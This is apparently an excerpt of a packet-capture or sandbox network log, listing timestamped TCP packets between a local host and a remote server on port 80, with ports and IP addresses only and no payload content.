Sep 26, 2024 19:05:16.758868933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.758884907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.758893967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.758924007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.759665012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.759702921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.759710073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.759727955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.759742022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.759752035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.759766102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.759788036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.759790897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.759830952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.760555029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.760571957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.760607004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.760607004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.760624886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.760633945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.760642052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.760646105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.760675907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.760716915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.760744095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.761555910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.761590958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.761616945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.761616945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.761630058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.761641026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.761651993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.761682987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.761684895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.761725903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.762418032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.762444019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.762464046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.762465000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.762480021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.762491941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.762510061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.762516975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.762531996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.762537003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.762554884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.762573004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.763344049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.763362885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.763402939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.763402939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.763452053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.763478041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.763492107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.763497114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.763516903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.763534069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.764255047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.764276028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.764309883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.764316082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.764329910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.764334917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.764353991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.764360905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.764375925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.764384985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.764409065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.764431000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.765185118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.765197992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.765223026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.765237093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.765245914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.765265942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.765273094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.765290022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.765289068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.765307903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.765340090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.766108990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.766130924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.766161919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.766168118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.766190052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.766190052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.766208887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.766213894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.766231060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.766252995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767082930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767108917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767132998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767133951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767152071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767170906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767169952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767194986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767211914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767220974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767230034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767267942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.767954111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.767997026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.768007040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.768023968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.768043041 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.768044949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.768064022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.768070936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.768080950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.768096924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.768111944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.768132925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838197947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838247061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838265896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838279963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838296890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838309050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838490963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838506937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838535070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838555098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.838560104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838560104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838583946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.838613987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.839020967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.839082956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.839215040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.839240074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.839262962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.839272022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.839281082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.839291096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.839304924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.839309931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.839329958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.839339018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840106010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840126991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840151072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840162992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840169907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840174913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840194941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840195894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840209961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840214968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840238094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840246916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.840965033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.840981007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841007948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841022015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841025114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841028929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841048956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841049910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841063976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841070890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841084003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841109991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841831923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841849089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841881990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841886997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841886997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841907978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841912985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.841936111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.841967106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842752934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842768908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842797995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842799902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842813015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842817068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842834949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842847109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842863083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842869043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842883110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.842885017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842909098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.842920065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.843652010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.843677044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.843703032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.843708038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.843723059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.843730927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.843746901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.843760967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.843760967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.843816996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.844516993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.844532967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.844561100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.844568014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.844584942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.844589949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.844603062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.844604015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.844621897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.844630957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.844640970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.844677925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.845407963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.845422983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.845448017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.845459938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.845467091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.845474005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.845484972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.845491886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.845506907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.845506907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.845534086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.845547915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.846132040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846148014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846174002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846189022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.846194983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846210003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846210957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.846220016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846245050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.846250057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.846273899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.846297026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847122908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847138882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847165108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847177029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847183943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847183943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847207069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847208977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847225904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847230911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847244978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847275019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847867012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847887993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847913027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847918034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847929001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847935915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847948074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847956896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847966909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.847979069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.847997904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.848002911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.848026037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.848037958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.848928928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.848946095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.848974943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.848984003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.848989964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849000931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849013090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849019051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849042892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849047899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849060059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849069118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849087954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849104881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849539042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849554062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849577904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849586964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849602938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849603891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849617958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849625111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849637032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849643946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849663019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849668026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.849675894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.849705935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850387096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850404024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850430012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850438118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850444078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850451946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850466967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850467920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850492954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850496054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850511074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850513935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.850533962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.850549936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851228952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851247072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851280928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851289988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851295948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851315975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851337910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851814985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851830959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851860046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851866007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851871967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851881981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851896048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851897001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851921082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851921082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851934910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851941109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.851960897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.851974010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.852637053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.852657080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.852682114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.852688074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.852704048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.852710962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.852718115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.852727890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.852762938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.852762938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.928332090 CEST	80	49735	46.8.231.109	192.168.2.4
